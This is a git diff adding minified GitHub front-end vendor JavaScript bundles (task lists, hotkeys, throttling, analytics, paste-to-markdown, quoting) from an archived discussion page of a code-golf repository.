fetch(n)}}o(d,"IncludeFragmentElement"),window.customElements.get("include-fragment")||(window.IncludeFragmentElement=d,window.customElements.define("include-fragment",d))},40987:(D,x,M)=>{M.d(x,{Z:()=>l});const v=new WeakMap;let u=null;function S(){return!!u}o(S,"isDragging");function w(i,s,f){v.set(i,{sortStarted:s,sortFinished:f}),i.addEventListener("dragstart",_),i.addEventListener("dragenter",d),i.addEventListener("dragend",n),i.addEventListener("drop",e),i.addEventListener("dragover",t)}o(w,"sortable");function p(i,s){if(i.parentNode===s.parentNode){let f=i;for(;f;){if(f===s)return!0;f=f.previousElementSibling}}return!1}o(p,"isBefore");function y(i,s){return i.closest("task-lists")===s.closest("task-lists")}o(y,"isSameContainer");function _(i){if(i.currentTarget!==i.target)return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".contains-task-list");if(!f||(s.classList.add("is-ghost"),i.dataTransfer&&i.dataTransfer.setData("text/plain",(s.textContent||"").trim()),!s.parentElement))return;const C=Array.from(s.parentElement.children),F=C.indexOf(s),B=v.get(s);B&&B.sortStarted(f),u={didDrop:!1,dragging:s,dropzone:s,sourceList:f,sourceSibling:C[F+1]||null,sourceIndex:F}}o(_,"onDragStart");function d(i){if(!u)return;const s=i.currentTarget;if(s instanceof Element){if(!y(u.dragging,s)){i.stopPropagation();return}i.preventDefault(),i.dataTransfer&&(i.dataTransfer.dropEffect="move"),u.dropzone!==s&&(u.dragging.classList.add("is-dragging"),u.dropzone=s,p(u.dragging,s)?s.before(u.dragging):s.after(u.dragging))}}o(d,"onDragEnter");function e(i){if(!u)return;i.preventDefault(),i.stopPropagation();const s=i.currentTarget;if(!(s instanceof Element)||(u.didDrop=!0,!u.dragging.parentElement))return;let f=Array.from(u.dragging.parentElement.children).indexOf(u.dragging);const C=s.closest(".contains-task-list");if(!C||u.sourceIndex===f&&u.sourceList===C)return;u.sourceList===C&&u.sourceIndex{const C=f.target;C instanceof HTMLInputElement&&(!C.classList.contains("task-list-item-checkbox")||this.dispatchEvent(new CustomEvent("task-lists-check",{bubbles:!0,detail:{position:k(C),checked:C.checked}})))});const s=new MutationObserver(L.bind(null,this));a.set(this,s),s.observe(this,{childList:!0,subtree:!0}),L(this)}disconnectedCallback(){const s=a.get(this);s&&s.disconnect()}get disabled(){return this.hasAttribute("disabled")}set disabled(s){s?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get sortable(){return this.hasAttribute("sortable")}set sortable(s){s?this.setAttribute("sortable",""):this.removeAttribute("sortable")}static get observedAttributes(){return["disabled"]}attributeChangedCallback(s,f,C){if(f!==C)switch(s){case"disabled":R(this);break}}}o(l,"TaskListsElement");const r=document.createElement("template");r.innerHTML=` + + + `;const c=new WeakMap;function m(i){if(c.get(i))return;c.set(i,!0);const s=i.closest("task-lists");if(!(s instanceof l)||s.querySelectorAll(".task-list-item").length<=1)return;const f=r.content.cloneNode(!0),C=f.querySelector(".handle");if(i.prepend(f),!C)throw new Error("handle not found");C.addEventListener("mouseenter",P),C.addEventListener("mouseleave",H),w(i,T,q),i.addEventListener("mouseenter",A),i.addEventListener("mouseleave",h)}o(m,"initItem");function A(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest("task-lists");f instanceof l&&f.sortable&&!f.disabled&&s.classList.add("hovered")}o(A,"onListItemMouseOver");function h(i){const s=i.currentTarget;s instanceof Element&&s.classList.remove("hovered")}o(h,"onListItemMouseOut");function k(i){const s=b(i);if(!s)throw new Error(".contains-task-list not found");const f=i.closest(".task-list-item"),C=Array.from(s.children).filter(B=>B.tagName==="LI"),F=f?C.indexOf(f):-1;return[O(s),F]}o(k,"position");function b(i){const s=i.parentElement;return s?s.closest(".contains-task-list"):null}o(b,"taskList");function E(i){return b(i)===g(i)}o(E,"isRootTaskList");function g(i){const s=b(i);return s?g(s)||s:null}o(g,"rootTaskList");function L(i){const s=i.querySelectorAll(".contains-task-list > .task-list-item");for(const f of s)E(f)&&m(f);R(i)}o(L,"syncState");function R(i){for(const s of i.querySelectorAll(".task-list-item"))s.classList.toggle("enabled",!i.disabled);for(const s of i.querySelectorAll(".task-list-item-checkbox"))s instanceof HTMLInputElement&&(s.disabled=i.disabled)}o(R,"syncDisabled");function O(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");return Array.from(s.querySelectorAll("ol, ul")).indexOf(i)}o(O,"listIndex");const I=new WeakMap;function T(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");I.set(s,Array.from(s.querySelectorAll("ol, ul")))}o(T,"onSortStart");function q({src:i,dst:s}){const f=i.list.closest("task-lists");if(!f)return;const C=I.get(f);!C||(I.delete(f),f.dispatchEvent(new CustomEvent("task-lists-move",{bubbles:!0,detail:{src:[C.indexOf(i.list),i.index],dst:[C.indexOf(s.list),s.index]}})))}o(q,"onSorted");function P(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");if(!f)return;const C=f.closest("task-lists");C instanceof l&&C.sortable&&!C.disabled&&f.setAttribute("draggable","true")}o(P,"onHandleMouseOver");function H(i){if(S())return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");!f||f.setAttribute("draggable","false")}o(H,"onHandleMouseOut"),window.customElements.get("task-lists")||(window.TaskListsElement=l,window.customElements.define("task-lists",l))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-f8db72a328a9.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js new file mode 100644 index 0000000..4e18cc6 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var D=Object.defineProperty;var c=(x,C)=>D(x,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"],{46263:(x,C,N)=>{N.d(C,{D:()=>b,P:()=>p});function p(_,m=0,{start:y=!0,middle:u=!0,once:w=!1}={}){let h=0,l,f=!1;function v(...k){if(f)return;const T=Date.now()-h;h=Date.now(),y?(y=!1,_.apply(this,k),w&&v.cancel()):(u&&T{h=Date.now(),_.apply(this,k),w&&v.cancel()},u?m-T:m))}return c(v,"fn"),v.cancel=()=>{clearTimeout(l),f=!0},v}c(p,"throttle");function b(_,m=0,{start:y=!1,middle:u=!1,once:w=!1}={}){return p(_,m,{start:y,middle:u,once:w})}c(b,"debounce")},11793:(x,C,N)=>{N.d(C,{EL:()=>u,N9:()=>W,Tz:()=>S});class p{constructor(o){this.children=[],this.parent=o}delete(o){const r=this.children.indexOf(o);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(o){return this.children.push(o),this}}c(p,"Leaf");class b{constructor(o){this.parent=null,this.children={},this.parent=o||null}get(o){return this.children[o]}insert(o){let r=this;for(let g=0;gd.filter(n=>n!=="")).filter(d=>d.length>0)}c(y,"expandHotkeyToEdges");function u(a){const{ctrlKey:o,altKey:r,metaKey:g,key:d}=a,n=[],e=[o,r,g,h(a)];for(const[t,i]of e.entries())i&&n.push(w[t]);return w.includes(d)||n.push(d),n.join("+")}c(u,"hotkey");const w=["Control","Alt","Meta","Shift"];function h(a){const{shiftKey:o,code:r,key:g}=a;return o&&!(r.startsWith("Key")&&g.toUpperCase()===g)}c(h,"showShift");const l=new b,f=new WeakMap;let v=l,k=null,T=[];function P(){T=[],k=null,v=l}c(P,"resetTriePosition");function I(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}k!=null&&window.clearTimeout(k),k=window.setTimeout(P,1500);const o=v.get(u(a));if(!o){P();return}if(T.push(u(a)),v=o,o instanceof p){const r=a.target;let g=!1,d;const n=_(r);for(let e=o.children.length-1;e>=0;e-=1){d=o.children[e];const t=d.getAttribute("data-hotkey-scope");if(!n&&!t||n&&r.id===t){g=!0;break}}d&&g&&(m(d,T),a.preventDefault()),P()}}c(I,"keyDownHandler");function W(a,o){Object.keys(l.children).length===0&&document.addEventListener("keydown",I);const g=y(o||a.getAttribute("data-hotkey")||"").map(d=>l.insert(d).add(a));f.set(a,g)}c(W,"install");function S(a){const o=f.get(a);if(o&&o.length)for(const r of o)r&&r.delete(a);Object.keys(l.children).length===0&&document.removeEventListener("keydown",I)}c(S,"uninstall")},86058:(x,C,N)=>{N.d(C,{R:()=>w});function p(){let h;try{h=window.top.document.referrer}catch{if(window.parent)try{h=window.parent.document.referrer}catch{}}return h===""&&(h=document.referrer),h}c(p,"getReferrer");function b(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}c(b,"getScreenResolution");function _(){let h=0,l=0;try{return typeof window.innerWidth=="number"?(l=window.innerWidth,h=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(l=document.documentElement.clientWidth,h=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(l=document.body.clientWidth,h=document.body.clientHeight),`${l}x${h}`}catch{return"unknown"}}c(_,"getBrowserResolution");function m(){return navigator.languages?navigator.languages.join(","):navigator.language||""}c(m,"getBrowserLanguages");function y(){return{referrer:p(),user_agent:navigator.userAgent,screen_resolution:b(),browser_resolution:_(),browser_languages:m(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}c(y,"getRequestContext");var u=N(82918);class w{constructor(l){this.options=l}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(l){return{page:location.href,title:document.title,context:{...this.options.baseContext,...l}}}sendPageView(l){const f=this.createEvent(l);this.send({page_views:[f]})}sendEvent(l,f){const v={...this.createEvent(f),type:l};this.send({events:[v]})}send({page_views:l,events:f}){const v={client_id:this.clientId,page_views:l,events:f,request_context:y()},k=JSON.stringify(v);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,k);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:k,keepalive:!1})}}c(w,"AnalyticsClient")},82918:(x,C,N)=>{N.d(C,{b:()=>y});let p;function b(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}c(b,"generateClientId");function _(u){const w=`GH1.1.${u}`,h=Date.now(),l=new Date(h+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${w}; expires=${l}; path=/; domain=${f}; secure; samesite=lax`}c(_,"setClientIdCookie");function m(){let u;const h=document.cookie.match(/_octo=([^;]+)/g);if(!h)return;let l=[0,0];for(const f of h){const[,v]=f.split("="),[,k,...T]=v.split("."),P=k.split("-").map(Number);P>l&&(l=P,u=T.join("."))}return u}c(m,"getClientIdFromCookie");function y(){try{const u=m();if(u)return u;const w=b();return _(w),w}catch{return p||(p=b()),p}}c(y,"getOrCreateClientId")},88149:(x,C,N)=>{N.d(C,{n:()=>p});function p(b="ha"){let _;const m={},y=document.head.querySelectorAll(`meta[name^="${b}-"]`);for(const u of Array.from(y)){const{name:w,content:h}=u,l=w.replace(`${b}-`,"").replace(/-/g,"_");l==="url"?_=h:m[l]=h}if(!_)throw new Error(`AnalyticsClient ${b}-url meta tag not found`);return{collectorUrl:_,...Object.keys(m).length>0?{baseContext:m}:{}}}c(p,"getOptionsFromMeta")},38772:(x,C,N)=>{N.d(C,{dy:()=>o,sY:()=>r,Au:()=>n});var p=N(69567);const b=new WeakSet;function _(e){return b.has(e)}c(_,"isDirective");function m(e,t){return _(t)?(t(e),!0):!1}c(m,"processDirective");function y(e){return(...t)=>{const i=e(...t);return b.add(i),i}}c(y,"directive");const u=new WeakMap;class w{constructor(t,i){this.element=t,this.type=i,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(t){typeof t=="function"?this.handleEvent=t.bind(this.element):typeof t=="object"&&typeof t.handleEvent=="function"?this.handleEvent=t.handleEvent.bind(t):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(t){u.has(t.element)||u.set(t.element,new Map);const i=t.attributeName.slice(2),s=u.get(t.element);return s.has(i)?s.get(i):new w(t.element,i)}}c(w,"EventHandler");function h(e,t){return e instanceof p.sV&&e.attributeName.startsWith("on")?(w.for(e).set(t),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}c(h,"processEvent");function l(e,t){return t instanceof S&&e instanceof p.GZ?(t.renderInto(e),!0):!1}c(l,"processSubTemplate");function f(e,t){return t instanceof DocumentFragment&&e instanceof p.GZ?(t.childNodes.length&&e.replace(...t.childNodes),!0):!1}c(f,"processDocumentFragment");function v(e){return typeof e=="object"&&Symbol.iterator in e}c(v,"isIterable");function k(e,t){if(!v(t))return!1;if(e instanceof p.GZ){const i=[];for(const s of t)if(s instanceof S){const E=document.createDocumentFragment();s.renderInto(E),i.push(...E.childNodes)}else s instanceof DocumentFragment?i.push(...s.childNodes):i.push(String(s));return i.length&&e.replace(...i),!0}else return e.value=Array.from(t).join(" "),!0}c(k,"processIterable");function T(e,t){m(e,t)||(0,p.W_)(e,t)||h(e,t)||l(e,t)||f(e,t)||k(e,t)||(0,p.Al)(e,t)}c(T,"processPart");const P=new WeakMap,I=new WeakMap,W=new WeakMap;class S{constructor(t,i,s){this.strings=t,this.values=i,this.processor=s}get template(){if(P.has(this.strings))return P.get(this.strings);{const t=document.createElement("template"),i=this.strings.length-1;return t.innerHTML=this.strings.reduce((s,E,F)=>s+E+(Ft=>{g.has(t)||g.set(t,{i:e.length});const i=g.get(t);for(let s=0;s{st=>{if(!(t instanceof p.GZ))return;const i=document.createElement("template");i.innerHTML=e;const s=document.importNode(i.content,!0);t.replace(...s.childNodes)})},69567:(x,C,N)=>{N.d(C,{sV:()=>u,GZ:()=>v,R:()=>d,AQ:()=>k,W_:()=>P,Al:()=>T,XK:()=>W});function*p(n){let e="",t=0,i=!1;for(let s=0;stypeof i=="string"?i:i.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,t)}}}c(w,"AttributeValueSetter");var h=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},l=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},f;class v{constructor(e,t){this.expression=t,f.set(this,void 0),h(this,f,[e]),e.textContent=""}get value(){return l(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return l(this,f)[0].previousSibling}get nextSibling(){return l(this,f)[l(this,f).length-1].nextSibling}replace(...e){const t=e.map(i=>typeof i=="string"?new Text(i):i);t.length||t.push(new Text("")),l(this,f)[0].before(...t);for(const i of l(this,f))i.remove();h(this,f,t)}}c(v,"NodeTemplatePart"),f=new WeakMap;function k(n){return{createCallback(e,t,i){this.processCallback(e,t,i)},processCallback(e,t,i){var s;if(!(typeof i!="object"||!i)){for(const E of t)if(E.expression in i){const F=(s=i[E.expression])!==null&&s!==void 0?s:"";n(E,F)}}}}}c(k,"createProcessor");function T(n,e){n.value=String(e)}c(T,"processPropertyIdentity");function P(n,e){return typeof e=="boolean"&&n instanceof u&&typeof n.element[n.attributeName]=="boolean"?(n.booleanValue=e,!0):!1}c(P,"processBooleanAttribute");const I=k(T),W=k((n,e)=>{P(n,e)||T(n,e)});var S=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},a=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},o,r;function*g(n){const e=n.ownerDocument.createTreeWalker(n,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let t;for(;t=e.nextNode();)if(t instanceof Element&&t.hasAttributes())for(let i=0;i{var he=Object.defineProperty;var i=(N,M)=>he(N,"name",{value:M,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537"],{52769:(N,M,E)=>{"use strict";E.d(M,{Ld:()=>oe});function b(f,y){var k,C,O;const q=f.value.slice(0,(k=f.selectionStart)!==null&&k!==void 0?k:void 0),Y=f.value.slice((C=f.selectionEnd)!==null&&C!==void 0?C:void 0);let J=!0;f.contentEditable="true";try{J=document.execCommand("insertText",!1,y)}catch{J=!1}if(f.contentEditable="false",J&&!f.value.slice(0,(O=f.selectionStart)!==null&&O!==void 0?O:void 0).endsWith(y)&&(J=!1),!J){try{document.execCommand("ms-beginUndoUnit")}catch{}f.value=q+y+Y;try{document.execCommand("ms-endUndoUnit")}catch{}f.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))}}i(b,"insertText");const _=new WeakMap;function h(f){const{currentTarget:y}=f,k=f.code==="KeyV"&&(f.ctrlKey||f.metaKey)&&f.shiftKey;(k||k&&f.altKey)&&_.set(y,!0)}i(h,"setSkipFormattingFlag");function v(f){const{currentTarget:y}=f;_.delete(y)}i(v,"unsetSkipFormattedFlag");function e(f){var y;return(y=_.get(f))!==null&&y!==void 0?y:!1}i(e,"shouldSkipFormatting");function o(f,...y){f.addEventListener("keydown",h);for(const k of y)k(f);f.addEventListener("paste",v)}i(o,"installAround");function t(f){f.removeEventListener("keydown",h),f.removeEventListener("paste",v)}i(t,"uninstall$5");function n(f){f.addEventListener("paste",l)}i(n,"install$4");function r(f){f.removeEventListener("paste",l)}i(r,"uninstall$4");function l(f){const y=f.clipboardData,{currentTarget:k}=f;if(e(k)||!y||!c(y))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;let O=y.getData("text/plain");const q=y.getData("text/html"),Y=q.replace(/\u00A0/g," ").replace(/\uC2A0/g," ");if(!q||(O=O.trim(),!O))return;const Z=new DOMParser().parseFromString(Y,"text/html"),Q=Z.createTreeWalker(Z.body,NodeFilter.SHOW_ELEMENT,fe=>fe.parentNode&&s(fe.parentNode)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT),se=u(O,Q);se!==O&&(f.stopPropagation(),f.preventDefault(),b(C,se))}i(l,"onPaste$4");function u(f,y){var k;let C=y.firstChild(),O=f,q=0,Y=0;const J=1e4;for(;C&&Y=0)if(s(C)){const se=m(C,Z);O=O.slice(0,Q)+se+O.slice(Q+Z.length),q=Q+se.length}else q=Q+Z.length;C=y.nextNode()}return Y===J?f:O}i(u,"convertToMarkdown");function a(f){return!f||(f==null?void 0:f.trim().length)===0}i(a,"isEmptyString");function s(f){var y;return((y=f.tagName)===null||y===void 0?void 0:y.toLowerCase())==="a"&&f.hasAttribute("href")}i(s,"isLink");function c(f){return f.types.includes("text/html")}i(c,"hasHTML");function m(f,y){const k=f.href||"";let C="";return g(f)?C=y:d(f)||p(k,y)?C=k:C=`[${y}](${k})`,C}i(m,"linkify$2");function d(f){return f.className.indexOf("commit-link")>=0||!!f.getAttribute("data-hovercard-type")&&f.getAttribute("data-hovercard-type")!=="user"}i(d,"isSpecialLink");function p(f,y){return f=f.slice(-1)==="/"?f.slice(0,-1):f,y=y.slice(-1)==="/"?y.slice(0,-1):y,f.toLowerCase()===y.toLowerCase()}i(p,"areEqualLinks");function g(f){var y;return((y=f.textContent)===null||y===void 0?void 0:y.slice(0,1))==="@"&&f.getAttribute("data-hovercard-type")==="user"}i(g,"isUserMention");function w(f){f.addEventListener("dragover",$),f.addEventListener("drop",I),f.addEventListener("paste",z)}i(w,"install$3");function x(f){f.removeEventListener("dragover",$),f.removeEventListener("drop",I),f.removeEventListener("paste",z)}i(x,"uninstall$3");function I(f){const y=f.dataTransfer;if(!y||ee(y)||!te(y))return;const k=ne(y);if(!k.some(T))return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k.map(X).join(""))}i(I,"onDrop$1");function $(f){const y=f.dataTransfer;y&&(y.dropEffect="link")}i($,"onDragover$1");function z(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!te(k))return;const C=ne(k);if(!C.some(T))return;f.stopPropagation(),f.preventDefault();const O=f.currentTarget;O instanceof HTMLTextAreaElement&&b(O,C.map(X).join(""))}i(z,"onPaste$3");function X(f){return T(f)?` +![](${f}) +`:f}i(X,"linkify$1");function ee(f){return Array.from(f.types).indexOf("Files")>=0}i(ee,"hasFile$1");function te(f){return Array.from(f.types).indexOf("text/uri-list")>=0}i(te,"hasLink");function ne(f){return(f.getData("text/uri-list")||"").split(`\r +`)}i(ne,"extractLinks");const P=/\.(gif|png|jpe?g)$/i;function T(f){return P.test(f)}i(T,"isImageLink");function A(f){f.addEventListener("paste",S)}i(A,"install$2");function R(f){f.removeEventListener("paste",S)}i(R,"uninstall$2");function S(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!F(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/plain");if(!O||!H(O)||D(C))return;const q=C.value.substring(C.selectionStart,C.selectionEnd);!q.length||H(q.trim())||(f.stopPropagation(),f.preventDefault(),b(C,U(q,O)))}i(S,"onPaste$2");function F(f){return Array.from(f.types).includes("text/plain")}i(F,"hasPlainText");function D(f){const y=f.selectionStart||0;return y>1?f.value.substring(y-2,y)==="](":!1}i(D,"isWithinLink");function U(f,y){return`[${f}](${y})`}i(U,"linkify");function H(f){return/^https?:\/\//i.test(f)}i(H,"isURL");function B(f){f.addEventListener("dragover",ce),f.addEventListener("drop",G),f.addEventListener("paste",ie)}i(B,"install$1");function re(f){f.removeEventListener("dragover",ce),f.removeEventListener("drop",G),f.removeEventListener("paste",ie)}i(re,"uninstall$1");function G(f){const y=f.dataTransfer;if(!y||le(y))return;const k=L(y);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(G,"onDrop");function ce(f){const y=f.dataTransfer;y&&(y.dropEffect="copy")}i(ce,"onDragover");function ie(f){const{currentTarget:y}=f;if(e(y)||!f.clipboardData)return;const k=L(f.clipboardData);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(ie,"onPaste$1");function le(f){return Array.from(f.types).indexOf("Files")>=0}i(le,"hasFile");function ae(f){const y="\xA0";return(f.textContent||"").trim().replace(/\|/g,"\\|").replace(/\n/g," ")||y}i(ae,"columnText");function de(f){return Array.from(f.querySelectorAll("td, th")).map(ae)}i(de,"tableHeaders");function ue(f){const y=Array.from(f.querySelectorAll("tr")),k=y.shift();if(!k)return"";const C=de(k),O=C.map(()=>"--"),q=`${C.join(" | ")} +${O.join(" | ")} +`,Y=y.map(J=>Array.from(J.querySelectorAll("td")).map(ae).join(" | ")).join(` +`);return` +${q}${Y} + +`}i(ue,"tableMarkdown");function L(f){if(Array.from(f.types).indexOf("text/html")===-1)return;const y=f.getData("text/html");if(!//,"").replace(//,` +${q}`)}i(L,"generateText");function j(f){f.addEventListener("paste",K)}i(j,"install");function W(f){f.removeEventListener("paste",K)}i(W,"uninstall");function K(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!V(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/x-gfm");!O||(f.stopPropagation(),f.preventDefault(),b(C,O))}i(K,"onPaste");function V(f){return Array.from(f.types).indexOf("text/x-gfm")>=0}i(V,"hasMarkdown");function oe(f){return o(f,B,w,A,j,n),{unsubscribe:()=>{t(f),re(f),r(f),x(f),R(f),W(f)}}}i(oe,"subscribe")},55498:(N,M,E)=>{"use strict";E.d(M,{I:()=>a,p:()=>u});function b(s){const c=s.parentNode;if(c===null||!(c instanceof HTMLElement))throw new Error;let m=0;c instanceof HTMLOListElement&&c.start!==1&&(m=c.start-1);const d=c.children;for(let p=0;p/g,">")}i(t,"escapeAttribute");const n={INPUT(s){return s instanceof HTMLInputElement&&s.checked?"[x] ":"[ ] "},CODE(s){const c=s.textContent||"";return s.parentNode&&s.parentNode.nodeName==="PRE"?(s.textContent=`\`\`\` +${c.replace(/\n+$/,"")} +\`\`\` + +`,s):c.indexOf("`")>=0?`\`\` ${c} \`\``:`\`${c}\``},P(s){const c=document.createElement("p"),m=s.textContent||"";return c.textContent=m.replace(/<(\/?)(pre|strong|weak|em)>/g,"\\<$1$2\\>"),c},STRONG(s){return`**${s.textContent||""}**`},EM(s){return`_${s.textContent||""}_`},DEL(s){return`~${s.textContent||""}~`},BLOCKQUOTE(s){const c=(s.textContent||"").trim().replace(/^/gm,"> "),m=document.createElement("pre");return m.textContent=`${c} + +`,m},A(s){const c=s.textContent||"",m=s.getAttribute("href");return/^https?:/.test(c)&&c===m?c:m?`[${c}](${m})`:c},IMG(s){const c=s.getAttribute("alt")||"",m=s.getAttribute("src");if(!m)throw new Error;const d=s.hasAttribute("width")?` width="${t(s.getAttribute("width")||"")}"`:"",p=s.hasAttribute("height")?` height="${t(s.getAttribute("height")||"")}"`:"";return d||p?`${t(c)}`:`![${c}](${m})`},LI(s){const c=s.parentNode;if(!c)throw new Error;let m="";o(s)||(c.nodeName==="OL"?e>0&&!c.previousSibling?m=`${b(s)+e+1}\\. `:m=`${b(s)+1}. `:m="* ");const d=m.replace(/\S/g," "),p=(s.textContent||"").trim().replace(/^/gm,d),g=document.createElement("pre");return g.textContent=p.replace(d,m),g},OL(s){const c=document.createElement("li");return c.appendChild(document.createElement("br")),s.append(c),s},H1(s){const c=parseInt(s.nodeName.slice(1));return s.prepend(`${Array(c+1).join("#")} `),s},UL(s){return s}};n.UL=n.OL;for(let s=2;s<=6;++s)n[`H${s}`]=n.H1;function r(s){const c=document.createNodeIterator(s,NodeFilter.SHOW_ELEMENT,{acceptNode(p){return p.nodeName in n&&!_(p)&&(h(p)||v(p))?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),m=[];let d=c.nextNode();for(;d;)d instanceof HTMLElement&&m.push(d),d=c.nextNode();m.reverse();for(const p of m)p.replaceWith(n[p.nodeName](p))}i(r,"insertMarkdownSyntax");function l(s,c){const m=s.startContainer;if(!m||!m.parentNode||!(m.parentNode instanceof HTMLElement))throw new Error("the range must start within an HTMLElement");const d=m.parentNode;let p=s.cloneContents();if(c){const x=p.querySelector(c);x&&(p=document.createDocumentFragment(),p.appendChild(x))}e=0;const g=d.closest("li");if(d.closest("pre")){const x=document.createElement("pre");x.appendChild(p),p=document.createDocumentFragment(),p.appendChild(x)}else if(g&&g.parentNode&&(g.parentNode.nodeName==="OL"&&(e=b(g)),!p.querySelector("li"))){const x=document.createElement("li");if(!g.parentNode)throw new Error;const I=document.createElement(g.parentNode.nodeName);x.appendChild(p),I.appendChild(x),p=document.createDocumentFragment(),p.appendChild(I)}return p}i(l,"extractFragment");class u{constructor(){this.selection=window.getSelection()}closest(c){const m=this.range.startContainer,d=m instanceof Element?m:m.parentElement;return d?d.closest(c):null}get active(){var c;return(((c=this.selection)===null||c===void 0?void 0:c.rangeCount)||0)>0}get range(){var c;return((c=this.selection)===null||c===void 0?void 0:c.rangeCount)?this.selection.getRangeAt(0):new Range}set range(c){var m,d;(m=this.selection)===null||m===void 0||m.removeAllRanges(),(d=this.selection)===null||d===void 0||d.addRange(c)}get selectionText(){var c;return((c=this.selection)===null||c===void 0?void 0:c.toString().trim())||""}get quotedText(){return`> ${this.selectionText.replace(/\n/g,` +> `)} + +`}select(c){this.selection&&(this.selection.removeAllRanges(),this.selection.selectAllChildren(c))}insert(c){c.value?c.value=`${c.value} + +${this.quotedText}`:c.value=this.quotedText,c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),c.focus(),c.selectionStart=c.value.length,c.scrollTop=c.scrollHeight}}i(u,"Quote");class a extends u{constructor(c="",m){super();this.scopeSelector=c,this.callback=m}get selectionText(){var c,m;if(!this.selection)return"";const d=l(this.range,(c=this.scopeSelector)!==null&&c!==void 0?c:"");(m=this.callback)===null||m===void 0||m.call(this,d),r(d);const p=document.body;if(!p)return"";const g=document.createElement("div");g.appendChild(d),g.style.cssText="position:absolute;left:-9999px;",p.appendChild(g);let w="";try{const x=document.createRange();x.selectNodeContents(g),this.selection.removeAllRanges(),this.selection.addRange(x),w=this.selection.toString(),this.selection.removeAllRanges(),x.detach()}finally{p.removeChild(g)}return w.trim()}}i(a,"MarkdownQuote")},407:(N,M,E)=>{"use strict";E.d(M,{Xm:()=>h,e6:()=>v,iO:()=>e});let b=null;function _(o){return!!o.id&&o.value!==o.defaultValue&&o.form!==b}i(_,"shouldResumeField");function h(o,t){var n,r;const l=(n=t==null?void 0:t.selector)!==null&&n!==void 0?n:".js-session-resumable",a=`${(r=t==null?void 0:t.keyPrefix)!==null&&r!==void 0?r:"session-resume:"}${o}`,s=[];for(const m of document.querySelectorAll(l))(m instanceof HTMLInputElement||m instanceof HTMLTextAreaElement)&&s.push(m);let c=s.filter(m=>_(m)).map(m=>[m.id,m.value]);if(c.length)try{const m=sessionStorage.getItem(a);if(m!==null){const p=JSON.parse(m).filter(function(g){return!c.some(w=>w[0]===g[0])});c=c.concat(p)}sessionStorage.setItem(a,JSON.stringify(c))}catch{}}i(h,"persistResumableFields");function v(o,t){var 